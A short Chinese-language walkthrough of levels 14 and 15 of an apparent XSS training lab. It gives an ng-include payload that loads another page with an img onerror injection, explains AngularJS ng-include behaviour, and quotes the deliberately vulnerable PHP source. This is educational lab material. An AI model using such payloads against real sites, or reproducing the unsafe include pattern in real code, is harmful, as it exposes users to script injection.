Level14

本关因iframe调用的文件地址失效，无法进行测试。

要考的应该是通过修改iframe调用的文件来实现xss注入

Level15

Payload

src地址更换成https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

源码分析

原文地址

ng-include是angular js中的东西，其作用相当于php的include函数

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式，返回一个文件名。

4、默认情况下，包含的文件需要包含在同一个域名下。

特别值得注意的几点如下：

1.ng-include,如果单纯指定地址，必须要加引号

2.ng-include,加载外部html，script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
